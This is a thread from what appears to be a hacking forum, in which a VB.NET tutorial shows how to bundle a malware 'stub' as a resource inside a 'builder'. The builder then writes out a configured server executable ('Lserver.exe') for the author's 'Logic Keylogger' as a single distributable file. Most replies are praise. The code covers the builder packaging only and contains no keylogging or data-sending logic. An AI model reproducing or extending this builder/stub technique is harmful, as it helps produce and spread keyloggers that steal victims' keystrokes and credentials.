Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

Builder With Built In Stub [VB.NET] [TuT]

OK, write your program as normal, so you have a builder and a stub. Now when distributing, the stub causes no end of confusion. So what we really need is to have it all as one .exe.

So lets take one of my older projects, my very basic, Logic Keylogger.

Now currently the code in the builder looks like:

Code
Imports System.IO
Public Class Form1

    Dim stub, text1, text2 As String
    Const FileSplit = "@vorfin@"

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        text1 = TextBox1.Text
        text2 = TextBox2.Text

        FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        stub = Space(LOF(1))
        FileGet(1, stub)
        FileClose(1)



        If File.Exists("Lserver.exe") Then
            My.Computer.FileSystem.DeleteFile("Lserver.exe")
        End If
        FileOpen(1, Application.StartupPath & "\Lserver.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(1, stub & FileSplit & text1 & FileSplit & text2)
        FileClose(1)
    End Sub

End Class

Now as you can see it is calling the stub from the current directory.
Code
Application.StartupPath & "\Stub.exe"

But we don't want the stub, so what we are going to do is drop it from the resources into said directory, then use it, then remove it after.

So go to the project directory. (The one with the "bin", "obj" and "My Project" Folders in) And create a new folder called "My Resources"

Next, open up your stub project, and build it. Then put the stub.exe into the My resources folder of the builder.

Now, on the builder(In the complier) Double click "My Project" And then go to "resources" Navigate to the My Resources folder, and add the stub.exe as a resource.

Now we have done that, we have to drop it at the right time. Just before you use the stub, add this.

Code
Dim b As Byte() = My.Resources.stub
        Dim TheFIlePath As String = Application.StartupPath & "\Stub.exe"
        Dim TempFile As System.IO.FileStream = IO.File.Create(TheFIlePath)
        TempFile.Write(b, 0, b.Length)
        TempFile.Close()

And when you have finished, you must delete the stub from the directory. So use this.

Code
System.IO.File.Delete(Application.StartupPath & ("\Stub.exe"))

So now, the code for the builder with the stub added as a resource would be.

Code
Imports System.IO
Public Class Form1

    Dim stub, text1, text2 As String
    Const FileSplit = "@vorfin@"

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        text1 = TextBox1.Text
        text2 = TextBox2.Text

Dim b As Byte() = My.Resources.stub
        Dim TheFIlePath As String = Application.StartupPath & "\Stub.exe"
        Dim TempFile As System.IO.FileStream = IO.File.Create(TheFIlePath)
        TempFile.Write(b, 0, b.Length)
        TempFile.Close()

        FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        stub = Space(LOF(1))
        FileGet(1, stub)
        FileClose(1)


        If File.Exists("Lserver.exe") Then
            My.Computer.FileSystem.DeleteFile("Lserver.exe")
        End If
        FileOpen(1, Application.StartupPath & "\Lserver.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(1, stub & FileSplit & text1 & FileSplit & text2)

System.IO.File.Delete(Application.StartupPath & ("\Stub.exe"))

        FileClose(1)
    End Sub

End Class
MAN you are amazing really nice tutorials and really informative
Just what I was looking for. : )
Excellent tutorial very well understandable.
I know this is a old thread, but it deserves a decent bump.
(Apr 7, 2010 08:53 AM)Joey K Wrote:  I know this is a old thread, but it deserves a decent bump.

Agreed. This is actually really helpful.
This is a great tut, very helpful :)
Finally! I've been wanting to know how to do this for ages!!! +repped

Thanks a lot!
Thanks Great Tutorial :D
i like this tutorial ive had it bookmarked for awhile but just never got around to commenting on it O_o

anywayy nice tut as always vorfin :D
Thx!

2 short for HF again!
Very nice tutorial, I will try it in awhile.

/excited
Pretty nice, keeps everything tidier :)
very nice, but:

stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)

is very old VB6 code.
This would be really nice, but I don't know what to put in the stub... :(


Possibly Related Threads...
Thread / Author Replies Views Last Post
[C] by SIM-4717218Aug 21, 2020 11:33 AM 0 161 Aug 21, 2020 11:33 AM
Last Post: SIM-4717218
[C] by jBarrelFeb 14, 2020 03:47 AM 11 399 Feb 14, 2020 03:47 AM
Last Post: Backbone
[C] by jimcola99Jan 14, 2020 03:29 PM 1 186 Jan 14, 2020 03:29 PM
Last Post: akali